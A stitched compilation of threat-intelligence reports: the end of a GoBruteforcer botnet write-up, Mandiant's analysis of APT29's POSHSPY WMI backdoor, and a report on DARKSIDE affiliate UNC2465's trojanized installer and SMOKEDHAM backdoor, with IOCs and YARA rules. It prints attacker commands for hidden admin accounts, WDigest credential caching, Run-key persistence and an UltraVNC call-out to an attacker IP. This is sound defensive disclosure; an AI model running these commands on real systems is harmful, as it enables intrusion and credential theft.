The sample was uploaded on VirusTotal some months ago and had 0 detections, as shown in Figure 17. Figure 17.


VirusTotal detection: older version of GoBruteforcer.Conclusion Web servers have always been a lucrative target for threat actors.

GoBruteforcer GolangBased Botnet Actively Harvests Web Servers


Weak passwords could lead to serious threats as web servers are an indispensable part of an organization.


Malware like GoBruteforcer takes advantage of weak (or default) passwords.


The GoBruteforcer bot comes with a multiscan capability, which gives it a wide range of targets that it can use to get into a network.


GoBruteforcer also seems to be in active development, so attackers could change the techniques they use to target web servers in the near future.


Alongside this, Advanced URL Filtering and DNS Security can block the command and control (C2) domain and malware hosting URLs. Indicators of Compromise Hashes de7994277a81cf48f575f7245ec782c82452bb928a55c7fae11c2702cc308b8b Web shell 602129f00bb002f07db07affa78d46f67bd0b2c8fb0867ea2da5fc3e73dd2665 Web shell acc705210814ff5156957c028a8d6544deaca0555156504087fdc61f015d6834 Older version of GoBruteforcer 426b573363277554c7c8a04da524ddbf57c5ff570ea23017bdc25d0c7fd80218 IRC bot(x86) 726ccd223a1cfb60fc6c3b48ea3dbf057da918efac5acf620cd026ee38fb0044 IRC bot(ARM) 526767fbb26c911601371745d603885b75deabcc18261ed2d5a509d58f95d28e GoBruteforcer (x86_64) dd3555025957cd51cd048d920027a0ff2d5501bc85792529217d54086e9351c2 GoBruteforcer (x86_64) df7dc0fe7e90a2414ac188c55d06ad3882cfc7394869c9ffa549fb1ddb304919 GoBruteforcer (x86_64) ebe11121aafdac5d8f2eecba710ba85efa31617a5eb825ba2e89e23379b26b84 GoBruteforcer (x86_64) 5548935e7c6cf3b38240a0579cac36906e9883a1ec5e85335609e9e2062588c5 GoBruteforcer ARM(64-bit) 5627b138bc857081d2251edd7eb3b68cbd58dfff2f51b7cd34c893fffff2cfab GoBruteforcer ARM(64-bit) 5c1d3fb43e9e35b835e62e05a7b97ed66ab132eab35bfc18ce543e8f58ccf5e2 GoBruteforcer ARM(32-bit) 7c27ac0daba19de227fcc467abfcdefa99426c768a3601b1b181e9741717665b GoBruteforcer (x86) URL and IP 5.253[.]84[.]159/x fi[.]warmachine[.]su Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY.

Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY


POSHSPY leverages two of the tools the group frequently uses: PowerShell and Windows Management Instrumentation (WMI).


In the investigations Mandiant has conducted, it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors.


POSHSPY makes the most of using built-in Windows features – so-called “living off the land” – to make an especially stealthy backdoor.


POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI.


Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory.


The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult.


Every aspect of POSHSPY is efficient and covert.


Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015.


Later in that same engagement, the attacker updated the deployment of the backdoor to use WMI for storage and persistence.


Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years.


We first discussed APT29’s use of this backdoor as part of our “No Easy Breach” talk.


For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation.


Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000.


WMI provides many administrative capabilities on local and remote systems, including querying system information, starting and stopping processes, and setting conditional triggers.


WMI can be accessed using a variety of tools, including the Windows WMI Command-line (wmic.exe), or through APIs accessible to programming and scripting languages such as PowerShell.


Windows system WMI data is stored in the WMI common information model (CIM) repository, which consists of several files in the System32\wbem\Repository directory.


WMI classes are the primary structure within WMI.


WMI classes can contain methods (code) and properties (data).


Users with sufficient system-level privileges can define custom classes or extend the functionality of the many default classes.


WMI permanent event subscriptions can be used to trigger actions when specified conditions are met.


Attackers often use this functionality to persist the execution of backdoors at system start up.


Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding.


WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email.


WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others.


A FilterToConsumerBinding associates Consumers to Filters.


Creating a WMI permanent event subscription requires administrative privileges on a system.


We have observed APT29 use WMI to persist a backdoor and also store the PowerShell backdoor code.


To store the code, APT29 created a new WMI class and added a text property to it in order to store a string value.


APT29 wrote the encrypted and base64-encoded PowerShell backdoor code into that property.


APT29 then created a WMI event subscription in order to execute the backdoor.


The subscription was configured to run a PowerShell command that read, decrypted, and executed the backdoor code directly from the new WMI property.


This allowed them to install a persistent backdoor without leaving any artifacts on the system’s hard drive, outside of the WMI repository.


This “fileless” backdoor methodology made the identification of the backdoor much more difficult using standard host analysis techniques.


POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis.


In one instance, APT29 created a Filter named BfeOnServiceStartTypeChange (Figure 1), which they configured to execute every Monday, Tuesday, Thursday, Friday, and Saturday at 11:33 am local time.


Figure 1: “BfeOnServiceStartTypeChange” WMI Query Language (WQL) filter condition


The BfeOnServiceStartTypeChange Filter was bound to the CommandLineEventConsumer WindowsParentalControlsMigration.


The WindowsParentalControlsMigration consumer was configured to silently execute a base64-encoded PowerShell command.


Upon execution, this command extracted, decrypted, and executed the PowerShell backdoor payload stored in the HiveUploadTask text property of the RacTask class.


The PowerShell command contained the payload storage location and encryption keys.


Figure 2 displays the command, called the “CommandLineTemplate”, executed by the WindowsParentalControlsMigration consumer.


Figure 2: WindowsParentalControlsMigration


CommandLineTemplate Figure 3 contains the decoded PowerShell command from the “CommandLineTemplate.” Figure 3: Decoded CommandLineTemplate PowerShell code POSHSPY PowerShell Component The full code for a POSHSPY sample is available here.


The POSHSPY backdoor is designed to download and execute additional PowerShell code and Windows binaries.


The backdoor contains several notable capabilities, including: 1.


Downloading and executing PowerShell code as an EncodedCommand 2.


Writing executables to a randomly-selected directory under Program Files, and naming the EXE to match the chosen directory name, or, if that fails, writing the executable to a system-generated temporary file name, using the EXE extension 3.


Modifying the Standard Information timestamps (created, modified, accessed) of every downloaded executable to match a randomly selected file from the System32 directory that was created prior to 2013 4.


Encrypting communications using AES and RSA public key cryptography 5.


Deriving C2 URLs from a Domain Generation Algorithm (DGA) using lists of domain names, subdomains, top-level domains (TLDs), Uniform Resource Identifiers (URIs), file names, and file extensions 6.


Using a custom User Agent string or the system's User Agent string derived from urlmon.dll 7.


Using either custom cookie names and values or randomly-generated cookie names and values for each network connection 8.


Uploading data in 2048-byte chunks 9.


Appending a file signature header to all encrypted data, prior to upload or download, by randomly selecting from the file types: ICO GIF JPG PNG MP3 BMP The sample in this example used 11 legitimate domains owned by an organization located near the victim.


When combined with the other options in the DGA, 550 unique C2 URLs could be generated.


Infrequent beaconing, use of DGA and compromised infrastructure for C2, and appended file headers used to bypass content inspection made this backdoor difficult to identify using typical network monitoring techniques.


Conclusion POSHSPY is an excellent example of the skill and craftiness of APT29.


By “living off the land” they were able to make an extremely discrete backdoor that they can deploy alongside their more conventional and noisier backdoor families, in order to help ensure persistence even after remediation.


As stealthy as POSHSPY can be, it comes to light quickly if you know where to look.


Enabling and monitoring enhanced PowerShell logging can capture malicious code as it executes and legitimate WMI persistence is so rare that malicious persistence quickly stands out when enumerating it across an environment.


This is one of several sneaky backdoor families that we have identified, including an off-the-shelf domain fronting backdoor and HAMMERTOSS.


When responding to an APT29 breach, it is vital to increase visibility, fully scope the incident before responding and thoroughly analyze accessed systems that don't contain known malware.


Additional Reading This PowerShell logging blog post contains more information on improving PowerShell visibility in your environment.


This excellent whitepaper by William Ballenthin, Matt Graeber and Claudiu Teodorescu contains additional information on WMI offense, defense and forensics.


This presentation by Christopher Glyer and Devon Kerr contains additional information on attacker use of WMI in past Mandiant investigations.


The FireEye FLARE team released a WMI repository-parsing tool that allows investigators to extract embedded data from the WMI repository and identify WMI persistence.


Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website.

Smoking Out a DARKSIDE Affiliates Supply Chain Software Compromise


While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.


As reported in the Mandiant post, "Shining a Light on DARKSIDE Ransomware Operations," Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates.


UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.


The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background).


While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.


Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website.


Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.


While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness.


Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers.


A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.


DARKSIDE RaaS In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service.


This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service.


The post cited law enforcement pressure and pressure from the United States for this decision.


Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate.


There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam.


While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations.


Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month.


Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services.


As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service.


Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.


Background In June 2021, Mandiant Consulting was engaged to respond to an intrusion.


During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website.


Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.


On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP.


Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer.


Additional malware use such as BEACON, and lateral movement also occurred.


Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.


Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.


Supply Chain Intrusion Cycle Figure 1: Intrusion cycle Phase 1: Trojanized Installer Download Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.


The downloaded file was extracted to C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.


Mandiant confirmed the user intended to download, install, and use the SmartPSS software.


Figure 2 shows an image of the download page used for SmartPSS software.


Figure 2: SmartPSS download page Phase 2: Nullsoft Installer


The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS.


We were able to extract the malicious installer script and files for analysis using 7-Zip.


The relevant section of this installer script is shown below in Figure 3. Figure 3: Nullsoft installer script section The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6).


The former is a clean installer from the original developer and is launched first, installing the software as the user may expect.


The latter is launched with a command line URL executing the content.


The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown.


Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided.


This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy.


Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4. Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe Phase 3: Downloaded VBScript and PowerShell Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.


Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported.


According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.


C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241 The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory.


Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.


<html><head>..<script language='VBScript'>..


On Error Resume Next


At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code.


It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant.


A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.


Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.


Figure 6: SMOKEDHAM downloader Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.


csc.exe /noconfig


/fullpaths @'C:\Users\ [username]\AppData\Local\Temp\qnxfhfim\qnxfhfim.cmdline' Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file. .../t


:library /utf8output /R:'System.dll' /R:'C:\windows\Microso


After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.


Phase 4: SMOKEDHAM Dropper The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor.


The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor.


The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable.


In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.


The SMOKEDHAM backdoor source code is embedded as an encrypted string.


The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet.


After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point.


The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval.


Figure 7 shows the deobfuscated SMOKEDHAM dropper.


Figure 7: SMOKEDHAM dropper Phase 5: SMOKEDHAM Backdoor SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture.


The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.


SMOKEDHAM Network Communications SMOKEDHAM communicates with its C2 server using HTTPS.


The backdoor uses domain fronting to obfuscate its true C2 server.


The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor.


Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.


The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests.


The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses.


The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.


The ID field contains a unique value generated by the backdoor for the target system.


The UUID field may contain a unique value used to track command output or be empty.


When the C2 server responds with a command to execute, it sets the UUID field to a unique value.


SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.


The Data field may contain RC4-encrypted, Base64-encoded command data or be empty.


The backdoor uses the Data field to send command output to its C2 server.


The C2 server uses the Data field to send commands to the backdoor to execute.


The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field.


Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.


SMOKEDHAM Commands SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field.


The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1. Keyword Action delay Update its sleep interval screenshot Upload a screen capture to its C2 server via a subsequent HTTP POST request exit Terminate Table 1: Plaintext command data keywords If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it.


The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.


In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes.


The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.


SMOKEDHAM In Action SMOKEDHAM was observed executing commands on the target system using PowerShell.


The following commands were used to collect information about the system and logged in users.


net.exe user net.exe users whoami.exe whoami.exe /priv systeminfo.exe


The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.


net.exe user DefaultUser REDACTED /ADD net.exe localgroup Administrators DefaultUser /ADD reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v


DefaultUser /t REG_DWORD /d


0 /f


The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.


reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t


REG_DWORD /d 0 /f reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fSingleSessionPerUser /t


REG_DWORD /d 0 /f reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse /t


1 /f Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to enable credential caching.


Phase 6: Follow-on Activity SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8.


These files were saved to the %APPDATA%\Chrome\ directory.


The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.


Figure 8: Contents of UltraVNC.ini SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.


APPDATA%\Chrome\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.


reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d


%appdata%\Chrome\winvnc.exe NGROK Configuration SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml.


These files were stored in the C:\ProgramData\WindNT\ directory.


NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.


Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.


Figure 9: Contents of VirtualHost.vbs Figure 10: Contents of ngrok.yml The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.


SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.


reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d


C:\ProgramData\WindNT\VirtualHost.vbs Keylogger Deployment This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe.


The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.


Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility.


The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations: C:\Users\[username]\Start Menu\Programs\Startup\desktop.lnk


%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.lnk


%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\console.lnk Cobalt Strike Beacon The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe.


Update.exe was a Go based dropper created using the ScareCrow framework.


The attacker executed C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe using Command Prompt.


cmd.exe /c 'C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe'&&exit


The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.


Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory.


Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.


LSASS Dumping and Lateral Movement Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.


DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.


From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.


Conclusion UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user.


UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours.


Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.


Ransomware groups continue to adapt and pursue opportunistic access to victims.


UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection.


While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus.


A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.


Indicators Supply Chain/Trojanized Nullsoft Installer/SmartPSS MD5:


1430291f2db13c3d94181ada91681408 Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe Zip MD5: 54e0a0d398314f330dfab6cd55d95f38 Supply Chain/Trojanized Nullsoft Installer/SVStation MD5: e9ed774517e129a170cdb856bd13e7e8 Filename: SVStation_Win64-B1130.1.0.0.exe Intermediate Stage URL: hxxp://sdoc[.]xyz/ID-508260156241 IP: 185.92.151[.]150 SMOKEDHAM LOADER MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html) MD5: 05d38c7e957092f7d0ebfc7bf1eb5365 SMOKEDHAM MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)


Host: max-ghoster1.azureedge[.]net (actual C2) MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html) Host: atlant20.azureedge[.]net (actual C2) MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)


Host: skolibri13.azureedge[.]net (actual C2) NGROK MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe) MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs) UltraVNC IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4) BEACON Host: w2doger[.]xyz IP: 185.231.68.102 MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)


Detecting the Techniques FireEye detects this activity across our platforms.


The following contains specific detection names that provide indicators associated with this activity.


Platform Detection Name FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect Backdoor.


BEACON FE_Loader_Win32_BLUESPINE_1 Trojan.


Win32.CobaltStrike Backdoor.


MSIL.SMOKEDHAM Malware.


Binary.ps1 FEC_Backdoor_CS_SMOKEDHAM_1 Suspicious Process PowerShell Activity FireEye Endpoint Security Real-Time Detection (IOC) WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY) WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY) SUSPICIOUS CONHOST.EXE A (METHODOLOGY) TASKMGR PROCESS DUMP OF LSASS.EXE


A (METHODOLOGY) Malware Protection (AV/MG) Trojan.GenericFCA.Script.533 Trojan.GenericFCA.Agent.7732 Dropped:Trojan.VBS.VGU Trojan.


CobaltStrike.


FM NGRok Ultra VNC SVN Station Generic.mg.a9fa3eba3f644ba3 Generic.mg.1626373508569884 Modules Process Guard (LSASS memory protection) FireEye Helix VNC METHODOLOGY


[Procs] (T1021.005) WINDOWS ANALYTICS


[Abnormal RDP Logon] (T1078) WINDOWS ANALYTICS


[Recon Commands] (T1204) WINDOWS METHODOLOGY


[Cleartext Credentials Enabled - UseLogonCredential] (T1003.001) WINDOWS METHODOLOGY


[LSASS Generic Dump Activity] (T1003.001) WINDOWS METHODOLOGY


[LSASS Memory Access] (T1003.001) WINDOWS METHODOLOGY


[Registry Run Key - reg.exe] (T1547.001) WINDOWS METHODOLOGY


[User Created - Net Command] (T1136.001)


Yara Detections rule Backdoor_Win_SMOKEDHAM { meta: author = "Mandiant" date_created = "2021-06-10" md5 = "9de326bf37270776b78e30d442bda48b" strings: $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = "POST" $domainFrontingDomain = /\.[hH]ost\s*=\s*\"[^\"]*";/ $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.


GetEnvironmentVariable("COMPUTERNAME") $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.


GetEnvironmentVariable("USERDOMAIN") $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("USERNAME


") $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //("delay") $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //("screenshot") $functionalityString3 = { 28 22 65 78 69 74 22 29 } //("exit") $publicStrings1 = "public string UUID" $publicStrings2 = "public string ID" $publicStrings3 = "public string Data" $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.


ToString(); condition: filesize < 1MB and all of them } rule Loader_Win_SMOKEDHAM { meta: author = "Mandiant" date_created = "2021-06-10" md5 = "05d38c7e957092f7d0ebfc7bf1eb5365" strings: $listedDLLs1 = "System.Drawing.dll" fullword $listedDLLs2 = "System.Web.Extensions.dll" fullword $listedDLLs3 = "System.Windows.Forms.dll" fullword $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp $StringConversion = "convertto-securestring" nocase $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.


Runtime.


InteropServices.


Marshal]::SecureStringToBSTR $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.


Marshal]::PtrToStringAuto condition: filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2 } MITRE ATT&CK UNC2465 Tactic Description Initial Access T1189: Drive-by Compromise T1195.002: Compromise Software Supply Chain T1566:


Phishing Execution T1053.005:


Scheduled Task T1059.001:


PowerShell T1059.005:


Visual Basic Persistence T1098: Account Manipulation T1136: Create Account T1547.001:


Registry Run Keys / Startup Folder T1547.004: Winlogon Helper DLL T1547.009:


Shortcut Modification Defense Evasion T1027: Obfuscated Files or Information T1070.006: Timestomp T1112: Modify Registry T1140: Deobfuscate/Decode Files or Information T1218.005: Mshta T1553.002:


